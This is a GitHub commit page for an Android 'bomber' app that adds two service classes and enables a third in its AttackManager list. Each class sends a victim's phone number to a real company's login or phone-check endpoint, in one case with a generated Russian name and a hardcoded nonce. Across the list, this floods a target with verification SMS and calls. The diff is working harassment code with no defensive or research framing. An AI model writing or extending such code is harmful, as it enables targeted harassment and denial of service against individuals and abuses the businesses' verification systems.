Skip to content

Commit

Permalink
update: added 2 services
Browse files Browse the repository at this point in the history
  • Loading branch information
dmitrijkotov634 committed Aug 6, 2021
1 parent c7665d4 commit f7e97c5
Show file tree
Hide file tree
Showing 5 changed files with 60 additions and 12 deletions.
1 change: 1 addition & 0 deletions .idea/misc.xml

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

4 changes: 2 additions & 2 deletions app/release/output-metadata.json
Original file line number Diff line number Diff line change
Expand Up @@ -11,8 +11,8 @@
"type": "SINGLE",
"filters": [],
"attributes": [],
"versionCode": 2,
"versionName": "1.1",
"versionCode": 3,
"versionName": "1.2",
"outputFile": "app-release.apk"
}
],
Expand Down
21 changes: 11 additions & 10 deletions app/src/main/java/com/dm/bomber/AttackManager.java
Original file line number Diff line number Diff line change
Expand Up @@ -18,8 +18,11 @@
import com.dm.bomber.services.Mcdonalds;
import com.dm.bomber.services.MegafonTV;
import com.dm.bomber.services.Modulebank;
import com.dm.bomber.services.Multiplex;
import com.dm.bomber.services.OK;
import com.dm.bomber.services.Olltv;
import com.dm.bomber.services.ProstoTV;
import com.dm.bomber.services.Pyaterochka;
import com.dm.bomber.services.Sephora;
import com.dm.bomber.services.Service;
import com.dm.bomber.services.Sravni;
Expand Down Expand Up @@ -61,16 +64,14 @@ public AttackManager(Callback callback) {

this.callback = callback;
this.services = new Service[]{
new Kari(), new Modulebank(), new YandexEda(),
new ICQ(), new Citilink(), new GloriaJeans(),
new Alltime(), new Mcdonalds(), new Telegram(),
new AtPrime(), new MTS(), new CarSmile(),
new Sravni(), new OK(), new SushiWok(),
new Tele2(), new Eldorado(), new Tele2TV(),
new MegafonTV(), new YotaTV(), // TODO: new Pyaterochka(),
new Fivepost(), new Askona(), new Farfor(),
new Sephora(), new Ukrzoloto(), new Olltv(),
new Wink(), new Lenta()
new Kari(), new Modulebank(), new YandexEda(), new ICQ(),
new Citilink(), new GloriaJeans(), new Alltime(), new Mcdonalds(),
new Telegram(), new AtPrime(), new MTS(), new CarSmile(),
new Sravni(), new OK(), new SushiWok(), new Tele2(),
new Eldorado(), new Tele2TV(), new MegafonTV(), new YotaTV(),
new Fivepost(), new Askona(), new Farfor(), new Sephora(),
new Ukrzoloto(), new Olltv(), new Wink(), new Lenta(),
new Pyaterochka(), new ProstoTV(), new Multiplex()
};
}

Expand Down
26 changes: 26 additions & 0 deletions app/src/main/java/com/dm/bomber/services/Multiplex.java
Original file line number Diff line number Diff line change
@@ -0,0 +1,26 @@
package com.dm.bomber.services;

import org.json.JSONException;
import org.json.JSONObject;

public class Multiplex extends JsonService {

public Multiplex() {
setUrl("https://auth.multiplex.ua/login");
setMethod(POST);
setPhoneCode("380");
}

@Override
public String buildJson() {
JSONObject json = new JSONObject();

try {
json.put("login", getFormattedPhone());
} catch (JSONException e) {
e.printStackTrace();
}

return json.toString();
}
}
20 changes: 20 additions & 0 deletions app/src/main/java/com/dm/bomber/services/ProstoTV.java
Original file line number Diff line number Diff line change
@@ -0,0 +1,20 @@
package com.dm.bomber.services;

import okhttp3.FormBody;

public class ProstoTV extends FormService {

public ProstoTV() {
setUrl("https://prosto.tv/wp-admin/admin-ajax.php");
setMethod(POST);
setPhoneCode("380");
}

@Override
public void buildBody(FormBody.Builder builder) {
builder.add("action", "check-phone");
builder.add("phone", "+" + getFormattedPhone());
builder.add("username", getRussianName());
builder.add("_nonce", "5b97688abd");
}
}

0 comments on commit f7e97c5

Please sign in to comment.